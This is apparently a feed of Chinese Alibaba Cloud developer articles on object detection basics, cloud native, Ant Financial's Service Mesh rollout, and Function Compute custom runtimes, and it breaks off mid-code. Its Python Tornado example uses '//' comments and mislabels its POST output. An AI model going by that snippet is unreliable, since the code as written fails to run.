        目标检测入门系列手册一:定位 + 分类问题的解法 Fri, 02 May 2025 09:39:04 +0800 戳此处立即下载电子书,学习全套目标检测算法&模型

        image.png

        该问题是分类到目标检测的一个过渡问题,从单纯地图片分类到分类后给出目标所处位置,再到多目标的类别和位置。接下来,我们看一下定位+ 分类问题的解法。

        image.png

        分类不用多说,上一章我们以分类为例讲了卷积神经网络。在定位问题中,则需要模型返回目标所在的外接矩形框,即目标的(x,y,w,h)四元组。接下来介绍一种比较容易想到的思路,把定位当做回归问题,具体步骤如下:

        (1)训练(或下载)一个分类模型,例如AlexNet、VGGNet 或ResNet;

        (2)在分类网络最后一个卷积层的特征层(feature map)上添加“regression head”,如图1-2 所示;补充说明:神经网络中不同的“head”通常用来训练不同的目标,每个“head”的损失函数和优化方向不同。如果想让一个网络实现多个功能,通常是在神经网络后面接多个不同功能的“head”。

        (3)同时训练“classification head”和“regression head”,为了同时训练分类和定位(定位是回归问题)两个问题,最终损失函数是分类和定位两个“head”产生损失的加权和。

        (4)在预测时同时使用分类和回归head 得到分类+ 定位结果。这里强调一下,分类预测出的结果就是C 个类别,回归预测的结果可能有两种:一种是类别无关,输出4个值;一种是类别相关,输出4*C 个值,这要看读者想要哪种结果了。

        image.png


        image.png ]]>
        CNCF中国大使张磊:什么是云原生? Fri, 02 May 2025 09:39:04 +0800 作者|张磊 阿里云容器平台高级技术专家,CNCF 官方大使


        编者说:


        从 2015 年 Google 牵头成立 CNCF 以来,云原生技术开始进入公众的视线并取得快速的发展,到 2018 年包括 Google、AWS、Azure、Alibaba Cloud 等大型云计算供应商都加入了云原生基金会 CNCF,云原生技术也从原来的应用容器化发展出包括容器、Service Mesh、微服务、不可变基础设施、Serverless、FaaS 等众多技术方向,CFCF 旗下也囊括了越来多的开源项目。

        Kubernetes 作为 CNCF 的第一个项目从诞生之初就就令人瞩目,Kubernetes 由 Google 工程师基于 Google 内部多年集群管理系统 Borg 的设计经验,结合云计算时代的基础设施特点重新设计而得,旨在帮助企业解决大规模 IT 基础设施的应用容器编排难题。Google 在 2014 年 6 月开源 Kubernetes 以后,在 Redhat、Microsoft、Alibaba 等厂商和众多开源爱好者共同的努力下,成长为如今容器编排领域的事实标准,极大的推动了云原生领域的发展。


        在系统介绍什么是云原生,云原生对开发者来说意味着什么,我们先从云原生技术发展简史开始讲起。

        云原生技术发展简史

        image.png

        • 2004 年— 2007 年,Google 已在内部大规模地使用像 Cgroups 这样的容器技术;

        • 2008 年,Google 将 Cgroups 合并进入了 Linux 内核主干;

        • 2013 年,Docker 项目正式发布。

        • 2014 年,Kubernetes 项目也正式发布。这样的原因也非常容易理解,因为有了容器和 Docker 之后,就需要有一种方式去帮助大家方便、快速、优雅地管理这些容器,这就是 Kubernetes 项目的初衷。在 Google 和 Redhat 发布了 Kubernetes 之后,这个项目的发展速度非常之快。

        • 2015 年,由Google、Redhat 以及微软等大型云计算厂商以及一些开源公司共同牵头成立了 CNCF 云原生基金会。CNCF 成立之初,就有 22 个创始会员,而且 Kubernetes 也成为了 CNCF 托管的第一个开源项目。在这之后,CNCF 的发展速度非常迅猛;

        • 2017 年,CNCF 达到 170 个成员和 14 个基金项目;

        • 2018 年,CNCF 成立三周年有了 195 个成员,19 个基金会项目和 11 个孵化项目,如此之快的发展速度在整个云计算领域都是非常罕见的。

        云原生技术生态现状


        因此,如今我们所讨论的云原生技术生态是一个庞大的技术集合。CNCF 有一张云原生全景图(https://github.com/cncf/landscape),在这个全景图里已经有 200 多个项目和产品了,这些项目和产品也都是和 CNCF 的观点所契合的。


        CNCF landscape.png
        所以,如果以这张全景图作为背景,加以思考就会发现,我们今天所讨论的云原生其实主要谈论了以下几点:

        1. 云原生基金会 —— CNCF;

        CNCF (云原生基金会)是目前云计算领域最成功的
        开源基金会之一,是 Kubernetes,containerd,etcd
        ,Envoy 等知名开源项目的托管基金会

        1. 云原生技术社区

        CNCF 目前托管的 20 + 正式项目共同构成了现代云
        计算生态的基石。其中 Kubernetes 项目是全世界第
        四活跃的开源项目

        1. 云原生技术产业

        除了前面两点之外,现在全球各大公有云厂商都已经支持了 Kubernetes。此外,还有 100 多家技术创业公司也在持续地进行投入,总体市场于2021年逼近 1000 亿美元。现在阿里巴巴也在全面上云,而且上云就要上云原生,这也是各大技术公司拥抱云原生的一个例子。

        我们正处于时代的关键节点

        image.png
        2019 年正是云原生时代的关键节点,为什么这么说?我们这里就为大家简单梳理一下。
         
        从 2013 年 Docker 项目发布开始说起,Docker 项目的发布使得全操作系统语义的沙盒技术唾手可得,使得用户能够更好地、更完整地打包自己的应用,使得开发者可以轻而易举的获得了一个应用的最小可运行单位,而不需要依赖任何 PaaS 能力。这对经典 PaaS 产业其实是一个“降维打击”。
         
        2014 年的时候,Kubernetes 项目发布,其意义在于 Google 将内部的 Borg/Omega 系统思想借助开源社区实现了“重生”,并且提出了“容器设计模式”的思想。而 Google 之所以选择间接开源 Kubernetes 而不是直接开源 Borg 项目,其实背后的原因也比较容易理解:Borg/Omega 这样的系统太复杂了,是没办法提供给 Google 之外的人使用,但是 Borg/Omega 这样的设计思想却可以借助 Kubernetes 让大家接触到,这也是开源 Kubernetes 的重要背景。
         
        这样到了 2015 年到 2016 年,就到了容器编排“三国争霸”的时代,当时 Docker、Swarm、Mesos、Kubernetes 都在容器编排领域展开角逐,他们竞争的原因其实也比较容易理解, 那就是 Docker 或者容器本身的价值虽然大,但是如果想要让其产生商业价值或者说对云的价值,那么就一定需要在编排上面占据一个有利的位置。
         
        Swarm 和 Mesos 的特点,那就是各自只在生态和技术方面比较强,其中,Swarm 更偏向于生态,而 Mesos 技术更强一些。相比之下, Kubernetes 则兼具了两者优势,最终在 2017 年“三国争霸”的局面中得以胜出,成为了当时直到现在的容器编排标准。这一过程的代表性事件就是 Docker 公司宣布在核心产品中内置了 Kubernetes 服务,并且 Swarm 项目逐渐停止维护。
         
        到了 2018 年的时候,云原生技术理念开始逐渐萌芽,这是因为此时 Kubernetes 以及容器都成为了云厂商的既定标准,以“云”为核心的软件研发思想逐步形成。
         
        而到了 2019 年,情况似乎又将发生一些变化。
        image.png


        什么是“云原生”?云原生该怎么落地?

        云原生的定义

        image.png
        很多人都会问“到底什么是云原生?”
         
        实际上,云原生是一条最佳路径或者最佳实践。更详细的说,云原生为用户指定了一条低心智负担的、敏捷的、能够以可扩展、可复制的方式最大化地利用云的能力、发挥云的价值的最佳路径。
         
        因此,云原生其实是一套指导进行软件架构设计的思想。按照这样的思想而设计出来的软件:首先,天然就“生在云上,长在云上”;其次,能够最大化地发挥云的能力,使得我们开发的软件和“云”能够天然地集成在一起,发挥出“云”的最大价值。
         
        所以,云原生的最大价值和愿景,就是认为未来的软件,会从诞生起就生长在云上,并且遵循一种新的软件开发、发布和运维模式,从而使得软件能够最大化地发挥云的能力。说到了这里,大家可以思考一下为什么容器技术具有革命性?


        其实,容器技术和集装箱技术的革命性非常类似,即:容器技术使得应用具有了一种“自包含”的定义方式。所以,这样的应用才能以敏捷的、以可扩展可复制的方式发布在云上,发挥出云的能力。这也就是容器技术对云发挥出的革命性影响所在,所以说,容器技术正是云原生技术的核心底盘。

        云原生的技术范畴

        image.png


        云原生的技术范畴包括了以下几个方面:

        • 第一部分是云应用定义与开发流程。这包括应用定义与镜像制作、配置 CI/CD、消息和 Streaming 以及数据库等。

        • 第二部分是云应用的编排与管理流程。这也是 Kubernetes 比较关注的一部分,包括了应用编排与调度、服务发现治理、远程调用、API 网关以及 Service Mesh。

        • 第三部分是监控与可观测性。这部分所强调的是云上应用如何进行监控、日志收集、Tracing 以及在云上如何实现破坏性测试,也就是混沌工程的概念。

        • 第四部分就是云原生的底层技术,比如容器运行时、云原生存储技术、云原生网络技术等。

        • 第五部分是云原生工具集,在前面的这些核心技术点之上,还有很多配套的生态或者周边的工具需要使用,比如流程自动化与配置管理、容器镜像仓库、云原生安全技术以及云端密码管理等。

        • 最后则是 Serverless。Serverless 是一种 PaaS 的特殊形态,它定义了一种更为“极端抽象”的应用编写方式,包含了 FaaS 和 BaaS 这样的概念。而无论是 FaaS 还是 BaaS,其最为典型的特点就是按实际使用计费(Pay as you go),因此 Serverless 计费也是重要的知识和概念。


        云原生思想的两个理论

        image.png


        在了解完云原生的技术范畴之后你就会发现,其所包含的技术内容还是很多的,但是这些内容的技术本质却是类似的。云原生技术的本质是两个理论基础。

        • 第一个理论基础是:不可变基础设施。这一点目前是通过容器镜像来实现的,其含义就是应用的基础设施应该是不可变的,是一个自包含、自描述可以完全在不同环境中迁移的东西;

        • 第二个理论基础就是:云应用编排理论。当前的实现方式就是 Google 所提出来的“容器设计模式”,这也是 Kubernetes 部分文章中所需主要讲述的内容。


        基础设施向云演进的过程

        image.png
        首先为大家介绍一下“不可变基础设施”的概念。其实,应用所依赖的基础设施也在经历一个向云演进的过程,举例而言,对于传统的应用基础设施而言,其实往往是可变的。


        大家可能经常会干这样一件事情,比如需要发布或者更新一个软件,那么流程大致是这样的,先通过 SSH 连到服务器,然后手动升级或者降级软件包,逐个调整服务器上的配置文件,并且将新代码直接都部署到现有服务器上。因此,这套基础设施会不断地被调整和修改。
         
        但是在云上,对“云”友好的应用基础设施是不可变的。


        这种场景下的上述更新过程会这么做:一旦应用部署完成之后,那么这套应用基础设施就不会再修改了。如果需要更新,那么需要现更改公共镜像来构建新服务直接替换旧服务。而我们之所以能够实现直接替换,就是因为容器提供了自包含的环境(包含应用运行所需的所有依赖)。所以对于应用而言,完全不需要关心容器发生了什么变化,只需要把容器镜像本身修改掉就可以了。因此,对于云友好的基础设施是随时可以替换和更换的,这就是因为容器具有敏捷和一致性的能力,也就是云时代的应用基础设施。
         
        所以,总结而言,云时代的基础设施就像是可以替代的“牲口”,可以随时替换;而传统的基础设施则是独一无二的“宠物”,需要细心呵护,这就体现出了云时代不可变基础设施的优点。
         

        基础设施向云演进的意义

        image.png


        所以,像这样的基础设施向“不可变”演进的过程,为我们提供了两个非常重要的优点。


          1. 基础设施的一致性和可靠性。同样一个镜像,无论是在美国打开,在中国打开,还是在印度打开都是一样的。并且其中的 OS 环境对于应用而言都是一致的。而对于应用而言,它就不需要关心容器跑在哪里,这就是基础设施一致性非常重要的一个特征。


          1. 这样的镜像本身就是自包含的,其包含了应用运行所需要的所有依赖,因此也可以漂移到云上的任何一个位置。


        此外,云原生的基础设施还提供了简单、可预测的部署和运维能力。由于现在有了镜像,应用还是自描述的,通过镜像运行起来的整个容器其实可以像 Kubernetes 的 Operator 技术一样将其做成自运维的,所以整个应用本身都是自包含的行为,使得其能够迁移到云上任何一个位置。这也使得整个流程的自动化变得非常容易。


        应用本身也可以更好地扩容,从 1 个实例变成 100 个实例,进而变成 1 万个实例,这个过程对于容器化后的应用没有任何特殊的。最后,我们这时也能够通过不可变的基础设施来地快速周围的管控系统和支撑组件。因为,这些组件本身也是容器化的,是符合不可变基础设施这样一套理论的组件。
         
        以上就是不可变基础设施为用户带来的最大的优点。
         

        2019 年——云原生技术普及元年


        为什么说 2019 年很可能是一个关键节点呢?我们认为 2019 年是云原生技术的普及元年。
         
        首先大家可以看到,在 2019 年,阿里巴巴宣布要全面上云,而且“上云就要上云原生”。我们还可以看到,以“云”为核心的软件研发思想,正逐步成为所有开发者的默认选项。像 Kubernetes 等云原生技术正在成为技术人员的必修课,大量的工作岗位正在涌现出来。


        这种背景下,“会 Kubernetes”已经远远不够了,“懂 Kubernetes”、“会云原生架构”的重要性正日益凸显出来。 从 2019 年开始,云原生技术将会大规模普及,这也是为什么大家都要在这个时间点上学习和投资云原生技术的重要原因。


        image.png


        阿里云和 CNCF 联合发布了《云原生技术公开课》,希望通过 29 节课程设置让开发者对云原生有全局的认知。

        阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。

        ]]>
        Service Mesh 在『路口』的产品思考与实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、引言

        Service Mesh 是蚂蚁金服下一代架构的核心,经过了2年的沉淀,我们探索出了一套切实可行的方案并最终通过了双十一的考验。本文主要分享在当下『路口』,我们在产品设计上的思考和实践,希望能给大家带来一些启发。

        二、为什么需要 Service Mesh?

        2.1 微服务治理与业务逻辑解耦

        在 Service Mesh 之前,微服务体系的玩法都是由中间件团队提供一个 SDK 给业务应用使用,在 SDK 中会集成各种服务治理的能力,如:服务发现、负载均衡、熔断限流、服务路由等。

        在运行时,SDK 和业务应用的代码其实是混合在一个进程中运行的,耦合度非常高,这就带来了一系列的问题:

        1. 升级成本高
          1. 每次升级都需要业务应用修改 SDK 版本号,重新发布。
          2. 在业务飞速往前跑的时候,是不太愿意停下来做这些和自身业务目标不太相关的事情的。
        1. 版本碎片化严重
          1. 由于升级成本高,但中间件还是会向前发展,久而久之,就会导致线上 SDK 版本各不统一、能力参差不齐,造成很难统一治理
        1. 中间件演进困难
          1. 由于版本碎片化严重,导致中间件向前演进过程中就需要在代码中兼容各种各样的老版本逻辑,戴着『枷锁』前行,无法实现快速迭代

        有了 Service Mesh 之后,我们就可以把 SDK 中的大部分能力从应用中剥离出来,拆解为独立进程,以 Sidecar 的模式部署。通过将服务治理能力下沉到基础设施,可以让业务更加专注于业务逻辑,中间件团队则更加专注于各种通用能力,真正实现独立演进,透明升级,提升整体效率。

        2.2 异构系统统一治理

        随着新技术的发展和人员更替,在同一家公司中往往会出现使用各种不同语言、不同框架的应用和服务,为了能够统一管控这些服务,以往的做法是为每种语言、每种框架都重新开发一套完整的 SDK,维护成本非常高,而且对中间件团队的人员结构也带来了很大的挑战。

        有了 Service Mesh 之后,通过将主体的服务治理能力下沉到基础设施,多语言的支持就轻松很多了,只需要提供一个非常轻量的 SDK、甚至很多情况都不需要一个单独的 SDK,就可以方便地实现多语言、多协议的统一流量管控、监控等治理需求。

        图片来源

        2.3 金融级网络安全

        当前很多公司的微服务体系建设都建立在『内网可信』的假设之上,然而这个原则在当前大规模上云的背景下可能显得有点不合时宜,尤其是涉及到一些金融场景的时候。

        通过 Service Mesh,我们可以更方便地实现应用的身份标识和访问控制,辅之以数据加密,就能实现全链路可信,从而使得服务可以运行于零信任网络中,提升整体安全水位。

        三、在当下『路口』的思考

        3.1 云原生方案?

        正因为 Service Mesh 带来了上述种种的好处,所以这两年社区中对 Service Mesh 的关注度越来越高,也涌现出了很多优秀的 Service Mesh 产品,Istio 就是其中一款非常典型的标杆产品。

        Istio 以其前瞻的设计结合云原生的概念,一出现就让人眼前一亮,心之向往。不过深入进去看了之后发现,在目前阶段要落地的话,还是存在一些 gap 的。

        图片来源

        3.2 Greenfield vs Brownfield

        在正式展开讨论之前,我们先来看一副漫画。

        图片来源

        上面这幅漫画描绘了这样一个场景:

        • 有两个工人在工作,其中一个在绿色的草地(Greenfield)上,另一个在棕色的土地(Brownfield)上
        • 在绿色草地上的工人对在棕色土地上的工人说:“如果你没有给自己挖这么深的坑,那么你也可以像我一样做一些很棒的新东西”
        • 然后在棕色土地上的工人回答道:“你倒是下来试试!”

        这是一幅很有意思的漫画,从表面上看我们可以认为在绿色草地上的工人是站着说话不腰疼,不过其实本质的原因还是两者所处的环境不同。

        在一片未开发过的土地上施工确实是很舒服的,因为空间很大,也没有周遭各种限制,可以使用各种新技术、新理念,我们国家近几十年来的一些新区新城的建设就属于这类。而在一片已经开发过的土地上施工就大不一样了,周围环境会有各种限制,比如地下可能有各种管线,一不小心就挖断了,附近还有各种大楼,稍有不慎就可能把楼给挖塌了,所以做起事来就要非常小心,设计方案时也会受到各种约束,无法自由发挥。

        对于软件工程,其实也是一样的,Greenfield 对应着全新的项目或新的系统,Brownfield 对应着成熟的项目或遗留系统。

        我相信大部分程序员都是喜欢做全新的项目的,包括我自己也是一样。因为可以使用新的技术、新的框架,可以按照事物本来的样子去做系统设计,自由度很高。而在开发/维护一个成熟的项目时就不太一样了,一方面项目已经稳定运行,逻辑也非常复杂,所以无法很方便地换成新的技术、新的框架,在设计新功能时也会碍于已有的架构和代码实现做很多妥协,另一方面前人可能不知不觉挖了很多坑,稍有不慎就会掉进坑里,所以行事必须要非常小心,尤其是在做大的架构改变的时候。

        3.3 现实场景

        3.3.1 Brownfield 应用当道

        在现实中,我们发现目前大部分的公司还没有走向云原生,或者还刚刚在开始探索,所以大量的应用其实还跑在非 k8s 的体系中,比如跑在虚拟机上或者是基于独立的服务注册中心构建微服务体系。

        虽然确实有少量 Greenfield 应用已经在基于云原生来构建了,但现实是那些大量的 Brownfield 应用是公司业务的顶梁柱,承载着更大的业务价值,所以如何把它们纳入 Service Mesh 统一管控,从而带来更大的价值,也就成了更需要优先考虑的话题。

                                    图片来源                                                          独立的服务注册中心

        3.3.2 云原生方案离生产级尚有一定距离

        另一方面,目前 Istio 在整体性能上还存在一些有待解决的点(引述小剑老师在蚂蚁金服 Service Mesh 深度实践中的观点):

        1. Mixer
          1. Mixer 的性能问题,一直都是 Istio 中最被人诟病的地方。
          2. 尤其在 Istio 1.1/1.2 版本之后引入了 Out-Of-Process Adapter,更是雪上加霜。
          3. 从落地的角度看,Mixer V1 糟糕至极的性能,已经是“生命无法承受之重”。对于一般规模的生产级落地而言,Mixer 性能已经是难于接受,更不要提大规模落地……
          4. Mixer V2 方案则给了社区希望:将 Mixer 合并进 Sidecar,引入 web assembly 进行 Adapter 扩展,这是我们期待的 Mixer 落地的正确姿势,是 Mixer 的未来,是 Mixer 的『诗和远方“。然而社区望穿秋水,但Mixer V2 迟迟未能启动,长期处于 In Review 状态,远水解不了近渴。
        1. Pilot
          1. Pilot 是一个被 Mixer 掩盖的重灾区:长期以来大家的性能关注点都在 Mixer,表现糟糕而且问题明显的Mixer 一直在吸引火力。但是当选择放弃 Mixer(典型如官方在 Istio 新版本中提供的关闭 Mixer 的配置开关)之后,Pilot 的性能问题也就很快浮出水面。
          2. 我们实践下来发现 Pilot 目前主要有两大问题:1)无法支撑海量数据 2)每次变化都会触发全量推送,性能较差

        图片来源

        3.4 当下『路口』我们该怎么走?

        我们都非常笃信云原生就是未来,是我们的『诗和远方』,但是眼下的现实情况是一方面 Brownfield 应用当道,另一方面云原生的 Service Mesh 方案自身离生产级还有一定的距离,所以在当下这个『路口』我们该怎么走?

        图片来源

        我们给出的答案是:

         

        其实如前面所述,我们采用 Service Mesh 方案的初心是因为它的架构改变可以带来很多好处,如:服务治理与业务逻辑解耦、异构语言统一治理、金融级网络安全等,而且我们相信这些好处不管对 Greenfield 应用还是 Brownfield 应用都是非常需要的,甚至在现阶段对 Brownfield 应用产生的业务价值会远远大于 Greenfield 应用。

        所以从『务实』的角度来看,我们首先还是要探索出一套现阶段切实可行的方案,不仅要支持 Greenfield 应用,更要能支持 Brownfield 应用,从而可以真正把 Service Mesh 落到实处,产生业务价值。

        四、蚂蚁金服的产品实践

        4.1 发展历程和落地规模

        Service Mesh 在蚂蚁金服的发展历程,先后经历过如下几个阶段:

        • 技术预研 阶段:2017年底开始调研并探索 Service Mesh 技术,并确定为未来发展方向。
        • 技术探索 阶段:2018年初开始用 Golang 开发 Sidecar SOFAMosn ,年中开源基于 Istio 的 SOFAMesh 。
        • 小规模落地 阶段:2018年开始内部落地,第一批场景是替代 Java 语言之外的其他语言的客户端 SDK,之后开始内部小范围试点。
        • 规模落地 阶段:2019年上半年,作为蚂蚁金融级云原生架构升级的主要内容之一,逐渐铺开到蚂蚁金服内部的业务应用,并平稳支撑了618大促。
        • 对外输出 阶段:2019年9月,SOFAStack 双模微服务平台入驻阿里云开始公测,支持 SOFA, Dubbo 和 Spring Cloud 应用
        • 全面大规模落地 阶段:2019年下半年,在蚂蚁主站的大促核心应用中全面铺开,落地规模非常庞大,而且最终如『丝般顺滑』地支撑了双十一大促。

        在今年双十一,Service Mesh 覆盖了数百个交易核心链路应用,SOFAMosn 注入的容器数量达到了数十万(据信是目前全球最大的 Service Mesh 集群),双十一当天处理的 QPS 达到了几千万,平均处理响应时间<0.2 ms,SOFAMosn 本身在大促中间完成了数十次的业务无感升级,达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        4.2 SOFAStack 双模微服务平台

        我们的服务网格产品名是 SOFAStack 双模微服务平台,这里的『双模微服务』是指传统微服务和 Service Mesh 双剑合璧,即『基于 SDK 的传统微服务』可以和『基于 Sidecar 的 Service Mesh 微服务』实现下列目标:

         •  互联互通:两个体系中的应用可以相互访问

         •  平滑迁移:应用可以在两个体系中迁移,对于调用该应用的其他应用,做到透明无感知

         •  异构演进:在互联互通和平滑迁移实现之后,我们就可以根据实际情况进行灵活的应用改造和架构演进

        在控制面上,我们引入了 Pilot 实现配置的下发(如服务路由规则),在服务发现上保留了独立的 SOFA 服务注册中心。

        在数据面上,我们使用了自研的 SOFAMosn,不仅支持 SOFA 应用,同时也支持 Dubbo 和 Spring Cloud 应用。

        在部署模式上,我们不仅支持容器/k8s,同时也支持虚拟机场景。

        4.3 大规模场景下的服务发现

        要在蚂蚁金服落地,首先一个需要考虑的就是如何支撑双十一这样的大规模场景。前面已经提到,目前 Pilot 本身在集群容量上比较有限,无法支撑海量数据,同时每次变化都会触发全量推送,无法应对大规模场景下的服务发现。

        所以,我们的方案是保留独立的 SOFA 服务注册中心来支持千万级的服务实例信息和秒级推送,业务应用通过直连 Sidecar 来实现服务注册和发现。

        4.4 流量劫持

        Service Mesh 中另一个重要的话题就是如何实现流量劫持:使得业务应用的 Inbound 和 Outbound 服务请求都能够经过 Sidecar 处理。

        区别于社区的 iptables 等流量劫持方案,我们的方案就显得比较简单直白了,以下图为例:

        1. 假设服务端运行在1.2.3.4这台机器上,监听20880端口,首先服务端会向自己的 Sidecar 发起服务注册请求,告知 Sidecar 需要注册的服务以及 IP + 端口(1.2.3.4:20880)
        2. 服务端的 Sidecar 会向 SOFA 服务注册中心发起服务注册请求,告知需要注册的服务以及 IP + 端口,不过这里需要注意的是注册上去的并不是业务应用的端口(20880),而是Sidecar自己监听的一个端口(例如:20881)
        3. 调用端向自己的 Sidecar 发起服务订阅请求,告知需要订阅的服务信息
        4. 调用端的Sidecar向调用端推送服务地址,这里需要注意的是推送的IP是本机,端口是调用端的 Sidecar 监听的端口(例如:20882)
        5. 调用端的 Sidecar 会向 SOFA 服务注册中心发起服务订阅请求,告知需要订阅的服务信息
        6. SOFA 服务注册中心向调用端的 Sidecar 推送服务地址(1.2.3.4:20881)

        经过上述的服务发现过程,流量劫持就显得非常自然了:

        1. 调用端拿到的『服务端』地址是127.0.0.1:20882,所以就会向这个地址发起服务调用
        2. 调用端的 Sidecar 接收到请求后,通过解析请求头,可以得知具体要调用的服务信息,然后获取之前从服务注册中心返回的地址后就可以发起真实的调用(1.2.3.4:20881)
        3. 服务端的 Sidecar 接收到请求后,经过一系列处理,最终会把请求发送给服务端(127.0.0.1:20880)

        可能会有人问,为啥不采用 iptables 的方案呢?主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重,另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。

        4.5 平滑迁移

        平滑迁移可能是整个方案中最为重要的一个环节了,前面也提到,在目前任何一家公司都存在着大量的 Brownfield 应用,它们有些可能承载着公司最有价值的业务,稍有闪失就会给公司带来损失,有些可能是非常核心的应用,稍有抖动就会造成故障,所以对于 Service Mesh 这样一个大的架构改造,平滑迁移是一个必选项,同时还需要支持可灰度和可回滚。

        得益于独立的服务注册中心,我们的平滑迁移方案也非常简单直白:

        1.初始状态

        以一个服务为例,初始有一个服务提供者,有一个服务调用者。

        2.透明迁移调用方

        在我们的方案中,对于先迁移调用方还是先迁移服务方没有任何要求,这里假设调用方希望先迁移到 Service Mesh 上,那么只要在调用方开启 Sidecar 的注入即可,服务方完全不感知调用方是否迁移了。所以调用方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        3.透明迁移服务方

        假设服务方希望先迁移到 Service Mesh 上,那么只要在服务方开启 Sidecar 的注入即可,调用方完全不感知服务方是否迁移了。所以服务方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        4.终态

        4.6 多协议支持

        考虑到目前大部分用户的使用场景,除了 SOFA 应用,我们同时也支持 Dubbo 和 Spring Cloud 应用接入SOFAStack 双模微服务平台,提供统一的服务治理。多协议支持采用通用的 x-protocol,未来也可以方便地支持更多协议。

        4.7 虚拟机支持

        在云原生架构下,Sidecar 借助于 k8s 的 webhook/operator 机制可以方便地实现注入、升级等运维操作。然而大量系统还没有跑在 k8s 上,所以我们通过 agent 的模式来管理 Sidecar 进程,从而可以使 Service Mesh 能够帮助老架构下的应用完成服务化改造,并支持新架构和老架构下服务的统一管理。

        4.8 产品易用性

        在产品易用性上我们也做了不少工作,比如可以直接在界面上方便地设置服务路由规则、服务限流等,再也不用手工写 yaml 了:

        也可以在界面上方便地查看服务拓扑和实时监控:

        4.9 阿里云公测中

        最后打一个小小的广告,SOFAStack 双模微服务平台现在在阿里云公测中,欢迎感兴趣的企业前来体验,https://www.aliyun.com/product/sofa

        五、展望未来

        5.1 拥抱云原生

        目前已经能非常清楚地看到整个行业在经历从云托管(Cloud Hosted)到云就绪(Cloud Ready)直至云原生(Cloud Native)的过程,所以前面也提到我们都非常笃信云原生就是未来,是我们的『诗和远方』,虽然眼下在落地过程中还存在一定的 gap,不过相信随着我们的持续投入,gap 会越来越小。

        另外值得一提的是我们拥抱云原生其根本还在于降低资源成本,提升开发效率,享受生态红利,所以云原生本身不是目的,而是手段,切不可本末倒置了。

        5.2 持续加强 Pilot 的能力

        为了更好地拥抱云原生,后续我们也会和 Istio 社区共建,持续加强 Pilot 的能力。

        而就在最近,在综合了过去一年多的思考和探索之后,蚂蚁金服和阿里集团的同事们共同提出了一套完整的解决方案,来融合控制平面和传统注册中心/配置中心,从而可以在保持协议标准化的同时,加强 Pilot 的能力,使其逐步向生产级靠拢。

        (更多细节可以参考小剑老师的蚂蚁金服 Service Mesh 深度实践一文,在此就不再赘述了)

        5.3 支持透明劫持

        前面提到在蚂蚁金服的实践中是基于服务注册中心来实现流量劫持的,该方案不管是在性能、管控能力还是可观测性方面都是不错的选择,不过对应用存在一定的侵入性(需要引入一个轻量的注册中心 SDK)。

        考虑到很多用户对性能要求没那么敏感,同时有大量遗留系统希望通过 Service Mesh 实现统一管控,所以后续我们也会支持透明劫持,同时在管控性和可观测性方面会做增强。

        六、结语

        基于『务实』的理念,Service Mesh 在蚂蚁金服经过了2年的沉淀,我们探索出了一套现阶段切实可行的方案并最终通过了双十一的考验。在这个过程中,我们也愈发体验到了 Service Mesh 带来的好处,例如 SOFAMosn 在大促中间完成了数十次的业务无感升级,见证了 Mesh 化之后基础设施的迭代速度。

        我们判断,未来 Service Mesh 会成为云原生下微服务的标准解决方案,所以我们也会持续加大对 Service Mesh 的投入,包括接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,和社区一起把 Istio 打造成 Service Mesh 的事实标准。

        最后,也欢迎志同道合的伙伴加入我们,一起参与建设激动人心的下一代云原生架构!

        ]]>
        函数计算 custom runtime 使用集锦-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

        函数计算目前原生支持的开发语言有 nodejs, python, java, php 和 c#, 在实现这些开发语言 runtime 的时候, 函数计算开发团队花了很大的精力去让各自语言的传统应用能够简单快速迁移到函数计算平台:

        如上述所列的各自语言的传统应用迁移到函数计算的迁移方案, 虽然已经足够简单, 但是还是需要去理解一下函数计算的接口以及各自语言在函数计算环境中运行起来的原理, 比如 python, 用户需要理解 WSGI 协议, 然后才编写一个符合要求的入口函数。 为了彻底解放生产力, Custom Runtime 应运而生, Custom Runitme 可以解决以下两个重要需求:

        • 可以随心所欲持定制个性化语言执行环境(例如 golang、lua、ruby)以及各种语言的小版本(例如python3.7、Nodejs12)等,打造属于自己的自定义runtime
        • 现有的 web 应用或基于传统开发 web 项目基本不用做任何改造,即可将项目一键迁移到函数计算平台

        用户要实现一个最简单的 Custom runtime,只要符合以下两条:

        • 创建一个http server,监听在固定端口(端口可以读取环境变量 FC_SERVER_PORT,默认为 9000)
        • http server 需要在 15s 内完成启动

        接下来, 我们梳理一下基于 Custom Runtime 一键迁移迁移案例。

        案例

        java

        Serverless 实战 —— 快速搭建 SpringBoot 应用
        Serverless 实战 —— 移植 spring-petclinic 到函数计算

        python

        import tornado.ioloop
        import tornado.web
        import os
        
        class MainHandler(tornado.web.RequestHandler):
            def get(self):
                rid = self.request.headers.get('x-fc-request-id',None)
                print("FC Invoke Start RequestId: " + str(rid));
                
                // your logic
                self.write("GET: Hello world")
                    
                print("FC Invoke End RequestId: " + str(rid));
             
            def post(self):
                rid = self.request.headers.get('x-fc-request-id',None)
                print("FC Invoke Start RequestId: " + str(rid));
                
                // your logic
                self.write("GET: Hello world")
                
                print("FC Invoke End RequestId: " + str(rid));
        
        def make_app():
            return tornado.web.Application([
                (r"/.*", MainHandler),
            ])
         
        if __name__ == "__main__":
            app = make_app()
            port = os.environ.get("FC_SERVER_PORT", "9000")
            app.listen(int(port))
            tornado.ioloop.IOLoop.current().start()

        本地安装第三方包 flask

        然后编写一个具有可执行权限的名字为bootstrap (注:#!/bin/bash注释是必需的)文件启动上面代码的 http server:

        #!/bin/bash
        python server.py

        go

        基于custom runtime 打造 golang runtime

        nodejs

        'use strict';
        
        var express = require('express');
        var app = express();
        
        var crypto = require('crypto');
        
        app.post(/.*/, function (req, res) {
              var rid = req.headers["x-fc-request-id"];
              console.log(`FC Invoke Start RequestId: ${rid}`);
              
              // your logic, for example, get hash
              var secret = 'abcdefg';
              var hash = crypto.createHmac('sha256', secret)
                  .update('I love cupcakes')
                  .digest('hex');
        
              // c0fa1bc00531bd78ef38c628449c5102aeabd49b5dc3a2a516ea6ea959d6658e
              console.log(hash);
